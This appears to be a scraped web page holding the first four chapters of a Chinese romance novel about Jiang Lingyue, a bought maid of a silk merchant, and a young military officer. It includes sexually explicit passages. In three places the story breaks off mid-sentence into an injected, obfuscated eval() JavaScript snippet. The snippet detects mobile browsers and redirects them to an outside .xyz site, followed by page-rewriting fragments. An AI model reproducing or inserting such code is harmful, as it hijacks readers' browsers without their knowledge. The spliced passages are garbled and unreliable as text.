《她是笼中雀》 1. 第一章 已是亥时三刻，厢房里烛火明亮。 巧珠推了门，果然就见兀自垂首做着绣活的江令月，不禁轻声道：“姑娘，夜深了，不如早些歇息罢。” 江令月闻言，这才后知后觉，眼底的酸涩如同升涨的潮水，遽然凝成一层薄雾，她往下压了压，抬头朝她笑笑道：“还差一点，绣完就好了，你若困了，就先睡罢。” 这一笑直教巧珠愣了几息，再回过神来，便只有被烛光照得柔润的侧脸对着她。 不过片刻，她又担忧起来，方才虽是一闪而过，但她瞧见姑娘的眼眶都泛红了。 姑娘今日除了用膳，就是埋头苦绣，一连好几个时辰，再是明目、美目，也要熬坏、熬丑的！ 巧珠连忙劝道：“我不困，姑娘仔细伤了眼睛，相公也不急用这荷包，况且今日相公在前院待客，还不定喝到什么时辰呢，不如先睡下罢。” 相公交代过，若是姑娘早早熄了灯，就不必在散宴后过去伺候他。 江令月摇了摇头，眼神只聚在手中的针线上，不再多话。 巧珠见是说不动，也住了嘴。别看姑娘表面极好说话，偏逢上相公的事，就总有股倔劲。 于是她只去取了灯罩，看那万里烛烧到了哪里，要不要挑芯。 巧珠口中的相公，名唤苏梅章，如今不过二十二，乃临州最大的绸缎庄——苏氏绸缎庄的主家。 当初也是他，将江令月从人伢子手中买下，不仅给了她一处得以遮风避雨的护身之所，还予其玉食丰衣滋养。 苏梅章的恩情，江令月铭感五内，若是遇到力所能及的活计，都会尝试讨来做。 这回她绣制的荷包，以青蓝的丝绸为底面，再绣上白色的牡丹，既彰雅致不俗的品味，又显富贵繁华的意蕴。 虽看似简单，只有一种花样，但这白牡丹并非仅用一色丝线绣到底，需讲究以深衬浅，最外一层绿叶用石青色代替，间或蔚蓝，花萼纯白，花蕊又换了黄线点缀，更别提双面都是如此，全部绣下来要耗费不小的心神。 昨日还是她瞧见原先那个起了线，又求了好几回，苏梅章才无奈地准了她重新绣个新的。 因为他是最不愿她自讨苦吃。旁人都说相公心疼她。 仿佛被蚁虫啃咬，积攒已久的刺痛终于从筋骨中显现端倪，江令月拈针的指尖开始轻微颤抖，好在前院的奴仆及时来到，只听他说：“相公喝醉了，劳姑娘过去一趟。” 从后院至前院，最快的路径须经过一处人造湖。 暮春密雨晚来急，留下满地残花，江令月不得不放慢脚步。 月光澄澈如洗，又有巧珠在前举灯引路，此路还算好走，但她不敢掉以轻心，前日就有洒扫的婆子，白日里都滑脚伤了腰。 江令月顾着看路，及至另一盏灯的光源浮荡在眼皮底下，她这才发觉，迎面而来的还有一位陌生男子，离她仅四五步距离。 她并未看清他的模样，便垂了眸，却本能地感到不适。 为那男子引路的是苏梅章身边的心腹承安，江令月心中猜想，对方应是苏梅章的座上宾，于是侧过身子，好让他们快些通过。 “姑娘。”承安却停了下来，“因天色已晚，相公留了千户大人暂宿一夜。” 江令月非是妾室，姑娘二字，不过是旁人看在苏梅章的面上另起的称呼，除去通房的名分，她只是个婢女，因此当承安主动向她介绍男子的身份时，她颇为意外。 千户......好像是正五品？兴许是怕她不小心冲撞了贵客。 江令月略一思忖，立即朝那位大人行了礼。 大人没有说话，承安似乎也只是提醒一句，提着灯便继续引路。 江令月低眉敛目，只看着脚下的一片石子路，一双乌皮靴随之映入眼帘，本以为它会径直朝前，很快离去，不想靴子的主人驻足，她不自觉地屏息，企图从骤然安静下来的四周，寻觅出一丝响动。 倏忽，一道刻意放缓的呼吸，自上而下挟着不容忽视的视线，破开她强装的镇定，她掐了掐手心，忍住不适，稍稍偏过头，眼尾却瞟到一点靴跟，微微内旋，似乎要朝她靠近，江令月几乎要失礼得向后退去，而在下一刻，那对乌皮白底的靴履又悉数从她的余光里抽离。 好像一切不过是她的错觉。 巧珠远远瞧见承安之后，就避到一旁，她悄悄窥看到那位大人盯视着姑娘的目光，太过直白炽灼，像穿透万阵的利箭，教她下意识看向被其擒摄住的江令月。 姑娘颜色生得极好，月眉云髻，银面如雪，踏步皎皎月色下，恍若仙娥，方才出门得急，只匆匆披上一件外衫防凉，行步间亦有些松散，却添了股别样风流。 她刚到姑娘身边时，就对着她看痴了，姑娘不过笑了笑，并没有怪罪。 与形容相反的是，姑娘脾性温和，就像那未完全冻实的溪河，凿开表面的薄冰，还有汩汩流水涌出，正如此刻，姑娘关切地问道：“无事罢？” “没.....”巧珠不敢与之对视，略显慌乱道，“我、我只是头一回见到当官的，有些惶恐。” 江令月蹙了蹙眉，不置可否：“你挨着我走罢，这样好受些。” 姑娘真是太善良了！没有哂笑她的胆小，甚至没有怪罪那举止莽失的男子。 巧珠咬了咬唇：“我瞧见，他们往西院去了，看来相公很重视千户大人。” 后东院乃苏家女眷住处，后西院则有一座楼阁，所望到的景致更加开阔，必是留给上客。 江令月牵着她，继续往前走：“承安招待的，肯定是得了相公的授意。” 见她不甚在意，巧珠反而着急道：“姑娘还不知道，这位千户是凭借战功，直接免了武举，被皇上特封的，好大的殊荣！” “竟是如此厉害？”江令月诧异道。 “是！前段时间，本来只在沔州作恶的海盗流窜到了临州，钻了空子登岸，就是他单枪匹马杀了十几个贼匪，救下了两条村的人命！”巧珠旋即弱了声音，觑着她的神情，“千户而今不过十六，姑娘觉得，他当得上是少年英雄吗？” 江令月的脸色有所缓和：“救人一命胜造七级浮屠，何况他救了好些人。原本我还惧他目光咄咄，现下看来，因是他身上的威势由内及外，才显得锐气逼人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791880|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姑娘说的是。”巧珠见她语气中隐隐透着赞许，不似作假，心底松了口气。 这一松，连带着她的脚也歪了下，差点要栽到花丛中去，江令月及时揽住了她，提醒道：“仔细看路，摔倒了可不是小事。” 巧珠乖乖应声，不敢再仗着熟知地段而偏头闲话了。 穿过海棠门洞，甬道旁栽种着数竿修竹，清风徐过，飒飒作响，疏疏叶影落在江令月的面容上，忽明忽暗，她忽而生出几分迷惘：缘何她才知晓有这么个义勇的人物？她是院里最后一个知晓的吗？ 四下逐渐通亮，盖因廊下挂着的一排针刺荔枝花灯，江令月暂却杂念，刚走上阶台，养在门下的鹦哥拟了人声，叫唤起来：“月娘过来！月娘过来！” 它腹部的绒毛是白色，羽翼翠绿，两腿和脑袋又是金色的，圆头圆脑，此刻正跳来跳去，很是活泼可爱，江令月的脸颊却染了几点红。 鹦哥这是把苏梅章唤她的话学了去。 巧珠把醒酒汤端给她之后就退下了，江令月又在外站了会儿散热，才进屋去。 只见苏梅章阖衣躺在床榻上，如玉的面庞一片绯红，似睡着了，这倒不是下人偷懒，而是他不喜旁人替他更衣。 雕花高盆架上已经摆好了温凉水，江令月放下醒酒汤，先蘸湿了洗面巾，细细替他擦拭起来，不过三两下，她只来得及看清他眼睫的颤动，就被抱着侧倒在温热的胸膛上。 江令月愣了几息，抬首望去，但见苏梅章眉秀目俊，眼底含笑看着她。 他虽是商贾，却无铜臭俗气，白日里衣冠齐整时，也有几分书生之态，待人温润儒雅，正如翩翩君子，此刻胡闹间交襟凌散，好像轻轻一扯，便能露出内里的肌肤，这种反差教她神思迷恍片刻。 她软下身子，将手搭在他的臂膀上：“相公既然醒了，就把那醒酒汤喝了罢。” 苏梅章未应她，只凑到她的脖领，啄吻乌发间露出的一截雪颈，半晌，他才游移到她的唇角，磨着软肉笑道：“方才不过小醉，现下却是大醉，是药三分毒，月娘若是心疼我，就拿自己给我解酒。” 两人已有几日不曾亲热，酥麻瞬间攀遍江令月的四肢百骸，她经受不住他细碎紧密的挑弄，呼吸急促，微喘着气，一时说不出话。 苏梅章见状，停了狎昵，又将她揽入怀中，轻轻抚着她的秀发，带着珍重的意味，等她平复后，垂眸道：“月娘这几日睡得可好？” 江令月初入苏家时，不过刚脱离人伢子的掌控，根本无法在浓稠的黑夜入睡，常常得燃一宿的烛火才可安眠，后来有了苏梅章的陪伴，贴着他的身躯，将他当作另一支不熄的灯烛，方逐渐适应。 她知道对方是在关心自己，回想了下，独自就寝的时日，睡得确实还算安稳，遂开口道：“相公处理正事要紧，奴无碍的。” “等我忙过这段日子就好了。”苏梅章攥了攥她的肩头，“我最近新识得一位大人，好不容易才将他留下，月娘方才过来的时候，有碰到生人吗？” 江令月对上他的目光，脑中转瞬闪过一双炽灼的黑眸，不知怎的，心头跟着一跳。 2. 第二章 或许习武之人皆有明目鹰眸，这也不稀奇。 她敛下心神，如实答道：“来的路上遇见了千户大人。” “是他，他虽然是新官上任，但年纪轻，又得皇上赏识，前途无量，我若能顺利与他结交，于苏家来说，大有益处。” 苏梅章较之平常，略显激动，他的瞳孔比旁人浅，此时像裹了蜜的琥珀，江令月默默凝视着他，仿佛浸润在了黏腻的蜂糖中。 他少年时便只身撑起家业，又比自己大六岁，总以保护者的姿态立在她身前，鲜少如今日般向她谈及宅院之外的事，这令她也欣喜起来。 随后江令月知晓了那位大人的名讳——夏叔懋，父亲是名武官，子承父业，却又青出于蓝而胜于蓝。 苏氏绸缎庄由苏父起家，经历过大风大浪，才在临州城内扎下根基，而在临州之外是大康广阔的疆域，在大康疆域外，又有神秘的西域和远海，当江令月隐晦地品出夏叔懋的官职所能带来的便宜时，她窥探到了苏梅章的野心。 “……所以，月娘会支持我的，对吗？” 苏梅章的声线清润，低低开口带着微哑，莫名缱绻，江令月只觉心口好似被翎扇搔挠了一下，因夏叔懋而升起的最后一丝不安也逐渐消弭。 同时，她多少感到羞赧。 她清楚苏梅章的相貌是出众的，而她也享受这副皮囊所带来的欢愉，譬如现在，她能明显感知到小腹下的湿热。 但旧日受到的教养如同埋入血脉的银针，冷不防刺一下，警醒她要克制己身。 这与她的欲念相悖。 可她性子敏感，又寄人篱下，既无法免俗，也做不到坦然，是以她只能自己默默消化两相冲突下所带来的歉疚和忧烦。 苏梅章不知她的内心竟纠结于此，正疑怪她迟迟不语，是否洞察什么，低眸唯见她面颊含粉，眉头轻蹙，若雾雨中的垂枝海棠，楚楚绰态。 他渴了，却不想喝那醒酒汤。 直到唇上传来凉意，江令月才回过神来。她的脊背登时飞过一阵酥麻，密密匝匝。 ……得先吃饱，她想。 今日下过雨，夜间仍有几丝凉意，本来体温恰好，现下却泌出了薄汗。 苏梅章回忆起幼时从茶经看来的，采集露水的技巧。需于清晨起身，找出雌花，先从潮湿的花瓣刮取，其上清甜的露珠乃第一层美味，而后便要徐徐探入半开的花芽，因内里有花粉酿成蜜，更为馥郁。最后两厢混合，煮出的茶汤才蕴含自然的芳香，沁人心脾。 他席间饮了竹叶青，愈发烫的体温犹如滚沸的开水，熏蒸出醇醇酒气，掺揉着药草香，萦绕四围。 似乎是酒液顺流而下，江令月只觉琼浆玉露，大抵如此，会将人烘得热意融融，仿若一叶小舟，飘在不甚平稳的湖面。 又是一阵窸窣，身子跟着一轻，肩胛好似也生出一对翅翼，它开始振颤，还有些生疏，时而若勾到云端，时而若坠入幽峡，兜留不住的浆水随着七上八下的颠簸倾泻而出。 她快受不了这抓不到实处的刺激，胡乱摸着，想找处支点，应是剐蹭到了小石子，却非是从她口中响了一记闷哼，她不知怎么回事，迷蒙着双眼望过去，却什么也看不清，惟感受到有根蔓枝，占//满她十指的缝隙，又支撑住她塌软的弓背。 于是她安心地享受起翩跹飞舞的乐趣。 * 翌日，东曦既驾，江令月醒来，侧过身见床榻另一半空了，她忙不迭支起身，还有些骨软筋酥，只得暂坐在床沿缓缓。 少顷，她听到些微的动静，仔细分辨像是水声。 趿上软缎绣鞋，她轻步走到屏风后，猝不及防地，从罅隙中窥看到苏梅章尚着里衣，坐在圈椅上，身体重心前倾，目光下移，一时竟挪不开视线，但见： 比起健康的右脚，他的左足脚踝萎缩许多，其上的血管像密布的蛛网，粗细不一，有的鼓起不正常的弧度，盆里的药水乌黑，与他挽起裤脚、裸露在外的青白几近于灰的皮肤相互映衬，无端令人惊怖。 这在苏家不算秘密，当年年仅十五的苏梅章随苏父外出行商，路遇山匪，苏父拼死相护才得以逃生，但在奔逃中不幸跌折左脚，事后医治虽保住了它，却再也无法恢复如常。 虽然他人前表现得风轻云淡，但江令月暗自想过，苏梅章必是在意自己的跛足的。 一则他从不让人近身侍奉他更衣和沐浴，哪怕他醉得脚步虚浮，也始终保留最后一丝清醒，下令奴仆在搀扶他入屋室后便退下； 二则……应当只有她知悉。于床笫之私上，他犹喜让她面向自己，撑着坐下去，这样一来，他连鞋袜都无需除下，只用腰腹发力，亦或者给她系上纱带，除了不能视物，其他感官会以成倍放大，自然也分不了心。 故而，眼下竟是她头一回见到苏梅章那小心隐藏的缺陷。 江令月敛声屏息，又把视线往上抬，此刻苏梅章的面容没了笑意，冰冷淡漠，看向药液中的眼神，仿佛是在看一个死物，带着浓烈的厌恶。 她为这个认知感到寒悸，一时怔在原地。 直到苏梅章拎起棉巾开始擦拭足踝，江令月才醒神过来，立即回到床榻躺下，面向里侧，阖眼装睡。 心跳得很快。 她不知道那是不是苏梅章的另一面，与霁风朗月截然相反。但她相信，若是以那幅面孔示人，定会吓退不少商客，绸缎庄的生意也会远不及目今的畅达，她也不会那般依赖他。 可……又诡异得与他难以示人的跛脚适配。 不需要她抉择，趋利避害是刻在人的骨子里的，她不想触忤苏梅章，这般掩瞒是眼下的最佳之策。 江令月尽力放缓呼吸，松弛姿态，就在她又快要睡过去之际，苏梅章过来唤醒了她，她喘着气望去，青年已然穿戴整齐，一袭月白锦袍，头束玉簪，左指戴只白玉素面扳指，嘴角挂着她最熟悉的微笑，往日只觉那是煦日清风......她倏尔醒了大半。 巧珠进来替她梳洗，江令月坐在梳妆台前，有些神思不属，任由摆弄。 “好了！姑娘瞧瞧。” 江令月抬首，掠过发髻裙钗，但见镜中人粉面含春，双瞳潋滟，眉眼间透着股餍足。 ……真像是话本里专门吸食书生才子元气的精怪。 她倏地移开视线，微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791881|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微一哂，巧珠却以为她是满意极了，跟着笑了起来，见状，江令月反而扫涤了杂思，胸腔舒出口浊气：“你的手巧，这样正好。” 因苏梅章还要去送贵客，两人同行一段路，又在岔路分开，江令月则要去梧桐苑给苏母请安。 小路上的残花败枝皆被清去，她生出几分闲心，赏看翠湖；其中荷花满塘，新叶舒圆，接天映日，望之嫩绿一片，芽蕾藏红，犹抱琵琶，又有那蜻蜓点碧水，飞花阴，留下几漾波纹。 江令月行至厅堂，便见吴蔼云正被常妈妈搀扶着踱出来，连忙上前搭手。 苏母走路艰难，不是先天带来的不足，而是后天所致的双目失明——当初至亲双双遇难，丈夫直接葬身他乡，犹遭天谴，她终日以泪洗面，生生哭瞎眼睛。 吴霭云捏了捏江令月的手，认出她来，嗔道：“三天两头往这儿跑，也不嫌我这个老太婆无聊。” 一旁的常妈妈打趣道：“月娘从前就爱到您跟前来，这习惯哪是那么容易改的！” “我也想多和老太太说说话。”江令月合声道。 苏梅章忙着振作绸缎庄的生意时，她自觉应该做些什么，回报一二，再三思虑下，决定陪侍苏母；两人虽然隔着岁数，但一个丧夫、儿子残疾，一个失怙失恃，互相怜惜，相处中也养出了感情。 吴蔼云只觉她贴心，弥补了自己没有生育女儿的遗憾，感慨道：“幸好有月娘，我的日子才没那么枯燥。” 语毕，又要拉过她坐下，一同用早膳。 常妈妈上前，解下苏母蒙戴在盲目前的锦巾。 连同用旧的数条，这些锦巾俱是江令月所绣，内层还开了囊袋，可以填塞晒干的香花或者药材，吴蔼云一用上便舍不开了。 她顺道提了提：“这条有些松了，一低头就爱往下滑，月娘待会帮我改改罢。” 江令月应下。 言语之间，仆役们将早膳摆上桌，皆为当季时蔬瓜果所烹，最是新鲜。 夏叔懋夹了一箸入嘴，滋味甚好。 苏梅章见他未露不喜，心下有了成算：“某闻大人出身沔州，恰好院内就有一位自沔州来的厨娘，若大人觉得这顿早膳味道还合口味，某便自作主张，将她送到您的府上谋事，不知如何？” 夏叔懋没想到他如此急不可耐，显露出作为商人的卑俗，肃起脸拒绝了。 见他如此，苏梅章也不恼，笑了笑，拿出一张折了几折的黄纸，置于桌上，两指摁住，推了过去。 “这是何物？”夏叔懋皱眉问道。 此番苏梅章略显迂回：“听闻大人高义，不日要接回长姐，以及外甥和外甥女，这样一来，现在住的府邸难免小了些。” 果然还是黄白之物。夏叔懋不曾停下忖量一二，偏过头，面上已有愠色。 “怪某思虑不周，好东西放到最后才肯露出来。”苏梅章没有将那张地契收回，又取出一张薄纸，轻声道，“这份，应当最合大人的心意。” 商人狡诈，极通言辞的关节，夏叔懋自觉功力尚浅，此刻难免着了蛊惑，他压着气睨向对方的手中，不过片刻，瞳孔骤缩，气息全然紊乱。 3. 第三章 正值春夏之交，雨水繁多。屋外传来轻雷，江令月循声望去，只见乌压压、黑沉沉，好大一团积云。 “月娘，打雷了吗？”吴霭云看不见后，耳力愈聪。 江令月咬断丝线，回道：“是，看这天快要下雨了。” 常妈妈给她搬了张八足圆凳，用过早膳后她就坐在一旁拆改锦巾，眼见改好了，起身便要替苏母戴上。 “慢着。”吴蔼云却拦下她，握住锦巾摩挲了起来。 苏母原是吴家独女，而吴家从前也是临州城内数一数二的绣坊，她又极有天赋，针黹刺绣，样样过人，如今虽是瞎了，但仍旧能靠双手触摸，知晓绣技的高低和进退。 尽管江令月数次面对此种情形，也还是无法习惯。 岁月到底更改了吴蔼云的形容，颧骨的斑痕、眼角的细纹，以及灰白的发丝，凝成蔼蔼暮气，像一拥而上的螟蛾，堵塞住她的鼻息。 她缩了缩方才拈针的右手，只留两根指头揪住袖角，指甲泛白，僵硬地候在一旁。 人一旦认真起来，脸上是做不出和善的神情来的，但她并非是因老太太此刻的面貌而惶恐。 她只是……她只是不喜时不时被考校。 幼时她曾见过邻家驯狗，起初闭门放养在宅内，犯了错从不打骂克食，只是往它脖子上套了根绳索，拴在门外； 待它焦急吠叫之际才出现，站在仅一步就能扑到的地方，冷漠地俯视着，任它被勒得龇牙咧嘴，最后只剩下呜咽，再下号发令，疼痛和疲软便能使它生畏服从。 江令月现刻又回忆起那只狗，犹记得它乖顺地趴伏在门外，目送主人远去，脖颈上却没有绳子束缚，当是已经融入了骨肉。 少焉，吴蔼云打断了她的思绪，她眼尾的细纹动了动：“缝得很好，滑面摸不出痕迹。”隐藏针脚是为了美观，月娘这回做得一点儿都不马虎，可见私下花了功夫。 “谢老太太。”江令月几不可闻地松了口气。 一半是考虑到苏母目不能视，一半是苏母自己节俭，堂内的博古架、桌几上皆是光秃秃，总显得空荡，门扉只开了一扇，在阴雨欲来的时刻，愈发昏暗。 江令月绕到吴霭云身后，将锦巾比在她眼前几寸，另抬手捏住边角，找好位置，正想覆目系紧，忽觉光线又黑了几许，她以为是风把隔扇吹得掩实了。 奇怪的是，并未听到响动。 她抬眸想求证自己的猜测，却蓦然瞧见——如同山似的一个人影堵在门前，背对着光，描不出五官！ 她心口一窒，下意识松开手上的动作，左右两只后跟互相踩绊，差点歪栽到地上去，切切实实唬了一跳，连带着苏母也觉察出她的惊慌，一同不安起来，立即攥住她的手腕，死死不放，箍得生疼。 “还请大人见谅。”苏梅章朝那人影赔了罪，才越槛而入，他对着苏母道，“儿来了，天这般黑，常妈妈呢，怎么不点盏灯？” 固然周遭暗弱，难掩他流光玉华，若定心针，江令月缓了缓心跳，听此想去后间寻人，这厅堂不小，要多点些烛，再搭把手，才不至于怠慢贵人，不承想吴霭云手上的力道是减了，却还是抓着她。 无法，只得留下。 “我这样子，平日也没有哪家的女眷来，索性就不用了，再有月娘陪着，我就让常妈妈下去歇着了，可不是她躲懒。”吴霭云顿了顿，又侧过脸，也不知是否听到什么，探问道，“是来了客吗？” “是新上任的临州千户，走之前想来拜见您。” 原来是他。江令月教他吓过两回，心里难免不悦，只觉他好端端一地武将，怎么如此见不得光。 女子立在一旁，垂着头，苏梅章躬腰才从眼尾扫到她绷紧的唇线，于是自然地递出手，让苏母握住他。 见手腕被松开，江令月不禁觑了苏梅章一眼，正与对方眼中的关切撞中，脸微热，到底碍于场合，随即恢复恭顺的模样。 想来晨间所见……是她多虑了罢。 夏叔懋的目力极好，即使在晦暗处，也能迅速适应，他虽然站在苏梅章的身后，但对方一还与自己差半个头，二身形偏瘦，是挡不住他的，因此他只消偏过半身，眼光便能敏锐地锁在江令月的面影上。 如同鹰隼般，他的双眼分毫不眨，但见那入过梦的女子，微抬下颌，不过几息，又低下眉头，顷刻间流露的情态，似柳枝拂堤，又似芙蓉轻颤。 不过很快，他微眯起黑眸，暗道：她方才是朝着别人笑的？ 对于身旁两人的眉眼官司，乃至于另外一人的郁气，吴蔼云看不见，也观察不到，她听闻的确有外人来了，明显慌张，一面要捂住自己的眼睛，一面要喊常妈妈奉茶来。 苏梅章情绪极稳，仿佛做了成千上百回，他先是神色温和，不急不缓地安抚她，将手轻轻掩盖在她不愿示人的地方，而后有条不紊地吩咐承安去给常妈妈搭手，待他最后望向江令月时，她已经拾起锦巾，准备替吴蔼云系上了。 须臾，一切妥帖。 夏叔懋却没就座，几步跨至吴蔼云面前，行了晚辈的礼数：“后生见过老太太。” 这是江令月第一次听到他开口，但比起沉稳明亮的声音，她更为他的有礼和体贴感到惊讶——不仅没有摆出官架子，而且特意点明以长幼论尊卑。 因初印象不佳，她在心中描摹出的对方，是有一副酷似张翼德的面相。 江令月稍一抬眸，但见他身量六尺有余，一身玄色劲装，显出宽肩窄腰，剑眉星眼，鼻梁高挺，棱角利落分明，或是刻意收敛，抑或是烛光轻柔，周身冷冽肃杀之气不扬，只觉丰神俊朗，如耀眼骄阳。 倒是……她想岔了。 “大人折煞老身了！”吴蔼云嘴上不应，却拍了拍扶手，难掩欢喜，对方比自己小了足足两轮，但功绩是实打实的，能得他如此尊敬，实乃三生有幸。 “你这官身是自己拿命搏出来的，当真是不惧生死的英雄！” 夏叔懋反倒苦笑：“说出来不怕老夫人笑话，当时我空有一腔热血，胡乱冲进贼匪的队伍中，差点把脑袋留下，如今平安回来，总免不了后怕，身上的伤势也才养好不过几日。” “伤在何处了？”吴蔼云心疼道。 “背上一刀，深可见骨。”见她果然惊呼出声，夏叔懋走近几步，轻描淡写道，“手背上也划了刀，没背上的深，疤痕还在，老夫人可伸手摸一摸，便知我没有骗你。” 说着，江令月就看见那道战疤，新生的皮肉像条肥胖的毛虫，最高之处攀上了食指关节，横斜将手背劈成两半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791882|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，说不为之撼动是不可能的，又见他目不斜视，平易近人地蹲下，任由苏母动作，心底已对其大为改观。 苏梅章对夏叔懋类似孔雀开屏的表现并不感兴趣，也无意在此刻奉承他，只状似不经意地掠过江令月一眼。 “还痛吗？” “不痛了，现下被老太太一摸，还有些发痒。”夏叔懋耐心道。 吴霭云亲切道：“这是里面的筋肉还在长，你千万别挠破了。我记得库房里还有盒紫云膏，能淡痕止痒，你若不嫌，尽管拿了去。” “长者赐，不敢辞，后生这就腆脸收下了。” 见此，苏梅章脸上的神色淡了淡。 不过片刻，竟能同时讨得与他最为亲密的两人的好感，本以为只是个未及弱冠、故意摆出副老成练达模样的毛头小子，倒是他小瞧了。 想来也是，如横空出世般，名利双收，还坐稳千户的位子，可不是那么好摆弄的。 苏梅章隐约觉得夏叔懋是根不好啃的骨头，日后怕是要舍出更多筹码，但这条船是他先搭了板，对方已经走到中间，轻易不可撤下。 思及此，他向江令月投去目光，那露出的半截雪颈，微微弯出好看的弧度，显得十分温顺。 至少……还是在掌控中的。 * 小叙几句，夏叔懋便提出辞意。 “老太太留步。实是还有要事在身，兼之风雨欲来，后生需尽快回府。”他止住吴霭云欲要起身的举动，又道，“只是还有一事劳烦。” 苏梅章了然：“大人放心，某可作保，您来寒舍的行迹不会泄露出去，待会还请搭乘某提前备好的素布骡车回府，以防万一。”马车太过显眼，只做平常人出行为好。 夏叔懋相信他不会在此事上马虎，否则得不偿失，其余细节想来也安排妥当，只需配合，于是应下，随后正式向苏母告别，却被对方拉住，他略感意外道：“老太太还有未尽之言？” 此刻吴蔼云的脸上浮现出几分不舍，倒真像是把他当作家中小辈，不无落寞道：“下回也不知何时才能再见，这回且让我知晓你平安出门，待会教月娘代我，送你一程。” 夏叔懋本打好推拒的腹稿，好险听完了她说话，词到嘴边，囫囵转了圈，最后只吐出一个字：“好。” 出了厅门，先入院子，有花团锦簇，灵石交叠，沿着小径过洞门，行至甬道，两边栽种的俱是梧桐，已结了青绿的花果，又走了约几十步，便至垂花门处。 一路行来，夏叔懋对于苏梅章的攀谈，颇有些心不在焉，大半心神只凝在女子发髻间的那支蝴蝶簪上，缀着两颗珍珠，颤啊颤，好似飞入了他的心房。 若是能再听到她唤自己一声大人，今日也算圆满了。 可惜江令月只一心引路，见已至二门，遂停了脚步，将提灯交给承安，让到侧边。 夏叔懋便是有心想说些什么，也没了机会，因为苏梅章正等着他先跨过门槛。 过了几息，眼见两人的身影彻底没入窄巷，江令月转身返回，愈走愈快，最后几乎是小跑起来，衣袂鼓盈，直到抄手游廊下，她才抚着些微凌散的发丝，微喘着气，对着漏窗缓缓打开掌心，里面躺着一枚玉扳指——是方才错身之际，苏梅章勾住她的尾指，悄悄塞入的。 4. 第四章 这枚扳指晶莹油润，质若凝脂，还带有苏梅章指腹残留的余温，与掌心沁出的薄汗糅杂在一起，江令月净白的脸颊上浮出红晕。 她不晓得旁人如何，至少苏梅章是花样繁多的。 兴许是两人契合，他品出滋味，跛足也不是障碍，在正事之外，总有精力发掘新奇的式子，又或则……新鲜的去处。 每每她人已经有些发痴了，只求再没下回，而到了下回时，即使苏梅章仅用含了一汪春水的眼眸凝着她，她也能着了道，迷迷糊糊间，遭了浇灌，盈满溢流，魂似去了三魄。 论起玉扳指，其实是偶然——那日暖光融融，一截细木支起轩窗，撒下一桌浮金。 虽商人不得考取功名，但苏梅章因着自己的喜好，也学了些附庸风雅的技艺，闲来无事时，便会临摹几幅字帖，或是做上几幅水墨。 他唤来江令月已是神思倦怠之际，想那诗文里写的赌书泼茶，红袖添香，心思自不在画上，唯见江令月双瞳剪水，浑然不察，心下只觉可爱，面上半分不显，带着她往书桌前来。 江令月被他圈在怀中，背后贴上一堵温热的胸膛，握着毫笔，却悄然走了神，概因苏梅章的手白皙干净，指节修长，又经日光映照，愈加熠熠生辉。现刻贴合她的手背，更显露出淡青的筋络，像极青花瓷面的釉彩，堪比珍品。 兀自拢着江令月的苏梅章，随意画了几笔，叶似草，花似碗，毫无气韵，不想女子由他乱描，原是早早便分了神，倒也正中下怀，于是反咬一口，直逼得她辩白是多看了几眼玉扳指的缘故。 既是喜欢，那便戴着它行事。 遽然被抱坐在桌台上的江令月来不及反应，只下意识攥紧眼前人的臂膀，须臾仰起脖颈，眉心蹙动，齐整的贝齿咬住下唇，想要夹停，却是徒劳。她的眼眶中逐渐氤氲了水汽，与扳指剐蹭出的热气，交叠升聚，蒸腾得理智溃散。 苏梅章也在低声喘息，长睫压下一片暗影，垂首轻轻地抵在江令月的耳垂旁，直黏得她打颤，倏地，他感受到一阵收缩，以手托住江令月的枕部，在最后关头，将她难以自持的呜咽全部吞入口中。 好半晌，才缓缓抽出湿淋淋的玉指。 一道雷声在耳边乍响，隆隆轰鸣，风亦愈来愈大，呼呼吹凉了思绪，江令月从掌心中拾起眼眸，朝廊外望去，厚重的积云已经顺沿铺开，电闪如炬。 虽说回忆起来犹觉失当，甚至洇湿了一桌的宣纸……但当时屋外并无侍从，且此事已过去几月，起初的羞臊褪去，她也做不到违心地否认自己的快意。 更何况，也不是她主动招惹的。 心头似乎有了道不明的期待，她将玉扳指掖到腰带里，确认瞧不出形状后，抬脚往里院走去，一路上差点教风卷起的细砂迷了眼睛，心道待会怕是要等雨停了之后，才好回房。 甫一踏入厅堂，常妈妈也急急忙忙从库房赶来，手上捧着大红酸枝方盒，见人都走了，愁道：“都怪老奴手脚慢，半天才把紫云膏找出来！” “我当是什么事，不过几步路就能追上，你别急。” 常妈妈跟在吴霭云身边的时间最长，早成了半个亲人的存在，轻易不会恼她，更何况听外边风雷声如此可怖，说不准夏叔懋走到半道，就得被雨挡住去路。 正这般想着，雨点急促地锤击在片瓦、窗扉、绿植上，如敲打羯鼓般声响传来，果如她料想的那样。 